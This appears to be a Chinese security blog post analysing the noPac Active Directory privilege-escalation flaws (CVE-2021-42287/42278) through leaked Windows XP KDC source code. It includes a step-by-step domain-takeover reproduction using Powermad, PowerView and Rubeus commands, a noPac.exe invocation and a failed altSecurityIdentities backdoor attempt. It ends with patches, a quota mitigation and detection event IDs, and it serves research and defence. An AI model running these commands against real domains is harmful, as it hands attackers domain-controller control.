长亭百川云 - 文章详情

从 XP 源码泄露看 nopac 漏洞

d_infinite

93

2021-12-17

Cliff Fisher (Microsoft AD PM) 11.10 在推特上连续发布了几条和AD域有关的CVE漏洞,引发安全人员持续关注。之后Charlie Clark于12.10 在其博客揭秘了CVE-2021-42287的利用方式并给出了武器化利用的手段,于是该漏洞相关消息在国内迅速传播。攻击者仅需要一个域内账户或通过NTLM Relay即可利用此漏洞拿下域控权限。

0x00 Windows域认证基础

域环境下Windows Kerberos认证流程如下:

Detecting Kerberoasting Activity – Active Directory Security

  1. User与KDC认证,只要账户密码正确即可获得KDC的Ticket(即TGT)与对应的SessionKey,Ticket中扩展了PAC,PAC包括User的用户信息,组信息。

  2. User在拿到KDC的TGT与对应的SessionKey之后向KDC申请Service的Ticket(即TGS),不管User有无访问Service的权限,KDC都会返回给User需要的Ticket(不验证PAC),KDC会把TGT中的PAC数据拷贝到TGS中。

  3. User携带TGS与Service Server建立通信。

  4. Service通过PAC判断User是否有权限访问Service,判断过程:

    • 把PAC传递给KDC判断PAC签名是否正确,确保PAC没有被篡改。

    • 判断User有无权限访问,这部分属于Windows访问控制的内容。

  5. User有权限则Service与User可成功建立通信。

0x01 漏洞复现

在拥有一个域内普通用户且该用户具有创建机器用户的权限下,利用过程如下:

1# 0. Create Machine Account
2# https://github.com/Kevin-Robertson/Powermad
3New-MachineAccount -MachineAccount TestSPN -Domain test001.com -DomainController dc1.test001.com -Verbose
4# Password Abc123!
5
6# 1. Clear SPNs
7# https://github.com/ZeroDayLab/PowerSploit/blob/master/Recon/PowerView.ps1
8Set-DomainObject "CN=TestSPN,CN=Computers,DC=test001,DC=com" -Clear 'serviceprincipalname' -Verbose
9
10# 2. Change Machine Account SamAccountName
11Set-MachineAccountAttribute -MachineAccount TestSPN -Value "DC1" -Attribute SamAccountName -Verbose
12
13# 3. Request TGT
14.\Rubeus.exe asktgt /user:DC1 /password:Abc123! /domain:test001.com /dc:dc1.test001.com /nowrap
15
16# Change Machine Account SamAccountName
17Set-MachineAccountAttribute -MachineAccount TestSPN -Value "TestSPN" -Attribute SamAccountName -Verbose
18
19# 4. Request S4U2self
20.\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:dc1.test001.com /self /altservice:LDAP/dc1.test001.com /ptt /ticket:[TGT]

首先创建机器用户并清除其SPN.

创建机器用户可能会出现自动为其设置SPN的情况,需要清除以方便更改SamAccountName属性

(这里复现的时候新建机器用户并没有自动创建SPN)

image-20211213123931087

然后把机器用户的samaccountname属性修改为DC1 , 修改为DC1是因为域控机器的名称DC1$

image-20211213124337333

然后使用Rebeus请求所创建机器用户的TGT

image-20211213124432193

之后再修改机器用户的SamAccountName:

image-20211213124610481

然后再根据之前请求的TGT通过S4USelf为Administrator 请求 "自身" LDAP/dc1.test001.com 服务的可转发TGS.

image-20211213124746892

klist可以发现攻击成功.

image-20211213125027168

Windows下可以直接使用https://github.com/cube0x0/noPac利用:

noPac.exe -domain test001.com -user user1 -pass 1q1q1q1Q /dc dc1.test001.com /mAccount de1 /mPassword passworD!123 /service cifs /ptt

image-20211213213005382

Linux下有https://github.com/WazeHell/sam-the-admin项目可以直接利用

0x02 一些探索

复现完之后存在一些疑惑:

  1. 为什么是创建机器用户来进行利用?非机器用户是否也可以利用?

于是我创建了一个普通用户来测试:

image-20211213213708014

然后手动修改其SamAccountName

image-20211213213716776

使用demo1请求TGT

image-20211213213730824

修改demo1的SamAccountName之后再请求TGS,发现利用失败

image-20211213213740497

  1. 为什么获取到DC1的TGT之后是通过S4USelf请求TGS,直接根据TGT请求TGS是否可行?

测试:

1Set-MachineAccountAttribute -MachineAccount TestSPN -Value "DC1" -Attribute SamAccountName -Verbose
2
3.\Rubeus.exe asktgt /user:DC1 /password:Abc123! /domain:test001.com /dc:dc1.test001.com /nowrap
4
5Set-MachineAccountAttribute -MachineAccount TestSPN -Value "TestSPN" -Attribute SamAccountName -Verbose
6
7.\Rubeus.exe asktgs /domain:test001.com /dc:dc1.test001.com /service:cifs/dc1.test001.com /ptt /ticket:[TGT] /nowrap

image-20211213213815227

发现请求得到的票据是DC1的而不是DC1$的,所以无法利用:

image-20211213213830665

0x03 漏洞分析

根据 https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html 的复现分析.我们可以在泄露的XP源码中找到大概的漏洞代码,下面对几个函数进行分析

KdcGetTicketInfo

KdcGetTicketInfo函数根据GenericUserName从Ticket中获取TicketInfo的大致处理逻辑:

首先判断是否是krbtgt账户,如果是则直接调用GetKrbtgt函数获取TicketInfo

image-20211213130115540

然后再判断是否是本域的用户,并进行了三次查找:

image-20211213130517612

  • 首先直接查找传入的用户

image-20211213131831317

  • 然后查找 传入的username+$

image-20211213132054069

  • 仍未找到则查找其 altSecurityIdentities 属性的value

image-20211213132344607

由此分析出是KdcGetTicketInfo获取TicketInfo的逻辑存在问题,对UserName做了多余的处理.

但是以上代码还无法解释为什么获取DC1的TGT之后,通过S4USelf请求DC1$的TGS可以
成功,但是直接根据TGT请求TGS依然是DC1的TGS.

疑惑1

为什么普通用户无法利用,必须使用机器账户才行?

再仔细查找 KdcGetTicketInfo 这部分代码,可以发现根据Username查找时,首先根据其Guid从本地SAM文件中查找Username,

image-20211213222941871

普通用户的GUID可以在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileGuidHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList找到.

对于SYSTEM用户等,不存在其GUID.

对于机器账户,搜索发现存在注册表项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography可能存在GUID,但是在Server2016和Windows10上并未找到.

所以普通用户无法利用,获取得到SYSTEM等特殊用户其属性值较难更改,需要权限较高,只有使用普通用户创建机器用户再利用的方式比较容易实行.

疑惑2 & KdcInsertAuthorizationData

上面这个问题的原因在于KDC Server对于PAC的处理, S4USelf得到的TGS,其PAC是重新构造的,而直接请求得到的TGS是直接复制的,下面是分析过程:

KdcInsertAuthorizationData中可以找到KDC Server获取PAC的处理逻辑:

如果不是S4U的请求,则直接从TGT的AuthData中提取PAC
image-20211213221017789

如果是S4U请求,首先调用KdcGetS4UTicketInfo请求获取S4UUserInfo,再调用kdcGetPacAuthData函数来构造PAC data。

kdcGetPacAuthData

image-20211213221103419

若原票据不存在PAC,则会构造一个新的PAC

image-20211213221120552

若无法构造,则直接复制PAC

image-20211213221130877

KdcGetS4UTicketInfo

kdcGetPacAuthData构造PAC信息主要依赖于KdcGetS4UTicketInfo返回的S4UUserInfo结构,S4UUserInfo结构体:

1typedef struct _USER_INTERNAL6_INFORMATION {
2   USER_ALL_INFORMATION I1;
3   LARGE_INTEGER       LastBadPasswordTime;
4   ULONG               ExtendedFields;
5   BOOLEAN             UPNDefaulted;
6   UNICODE_STRING      UPN;
7   PUSER_ALLOWED_TO_DELEGATE_TO_LIST A2D2List;
8} USER_INTERNAL6_INFORMATION, *PUSER_INTERNAL6_INFORMATION;

其中USER_ALL_INFORMATION是一些关键信息,如UAC,PrimaryGroupId

image-20211213222038757

在KdcGetS4UTicketInfo函数的处理逻辑中发现调用了KdcGetTicketInfo函数

image-20211213222118459

综上解释了为什么该漏洞利用,获取到DC1的TGT之后必须通过S4USelf获取TGS才行。

一些细节

这篇文章的一些细节:

  1. 为什么要删除SPN?

这篇文章讲到了如果不删除SPN,在修改samAccountName、DnsHostname或msDS-AdditionalDnsHostName属性时,SPN列表将自动更新其值,所以建议在更改SamAccountName之前删除SPN。

  1. 为什么使用不带PAC的TGS可以请求得到带PAC的ST,这个过程签名如何验证?

TGS_REQ阶段不会校验PAC,所以即使PAC是错误的也不影响获取ST.可以参考微软文档, 只有在AP_REQ请求时,Server会选择是否把PAC传给Server进行验证。

image-20211213223458635

  1. MachineAccountQuota相关内容:

    MachineAccountQuota (MAQ)是一个域级别属性默认值为10,即默认情况下允许无特权的用户最多将10台计算机连接到AD域,也就是最多可以新建10个机器用户。且创建者帐户被授予对某些机器帐户对象属性的写访问权限,包括SPN和SamAccountName等关键属。

  2. samAccountName属性: 可以改变samAccountName的值为任何值, 只要不与别的域账户samAccountName重复即可. 特殊情况: samAccountName可以用$或者空格结尾。

失败的Backdoor利用

根据前面的代码分析以及Charlie Clark文章中的挖掘可以想到域用户的altSecurityIdentities属性也是可以用来做Backdoor的。理论上分析在域管账户的altSecurityIdentities添加一个外域的用户链接即可构成后门,但是却没有复现成功。

首先准备两个域环境,test001.com(内部域)和test.loca(外部域)

首先在test001\admin123账户的altSecurityIdentities属性上添加 Kerberos:hacker123@test.local

image-20211214115522523

然后在test.local申请一张不带PAC的hacker123用户的TGT票据:

1.\Rubeus_noPac.exe asktgt /user:hacker123 /password:1q1q1q1Q /domain:test.local /dc:exdc1.test.local /nowrap /nopac

image-20211214132345716

再在test001.com域通过S4U申请一张cifs/dc1.test001.com的TGS,发现会直接报错 KDC_ERR_WRONG_REALM

1.\Rubeus_noPac.exe s4u /impersonateuser:Administrator /nowrap /dc:dc1.test001.com /self /altservice:cifs/dc1.test001.com /ptt /ticket:[TGT]

image-20211214133654625

分析错误原因:与Charlie Clark文章中得到结果不一致的原因可能为Charlie Clark文章中两个域处于同一个根域zeroday.lab中,而我复现时的两个域是不同的根域,所以没有复现成功。

(感兴趣的师傅可以继续尝试)

0x04 检测&&防护

  1. 安装微软的补丁 KB5008602KB5008380
  2. 修改AD域的MachineAccountQuota的属性值为0.
  3. 检测Windows日志序列,因为攻击会产生很多日志,所以可以通过安全日志检测攻击行为:
    • 4673日志:请求SeMachineAccountPrivilege特权
    • 4741日志:创建机器用户
    • 4724日志:重置新建机器用户的密码
    • 4742日志:更改ServicePrincipalNames值为%%1793
    • 4742日志:修改TargetUserName为DC1
    • 4781日志:已经更改账户名
    • 4768日志:请求TGT
    • 4742,4781日志,再次修改机器账户名
    • 4769日志:请求TGS,存在附加票据信息。

招聘

长亭产品研发中心底下的安全研究团队正在招聘 主机安全/容器安全/静态分析 等领域的产品安全研究员,如果你和我一样,喜欢研究红蓝对抗,并希望将它落地到产品当中,欢迎投递简历,投递邮箱为jingyuan.chen@chaitin.com

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2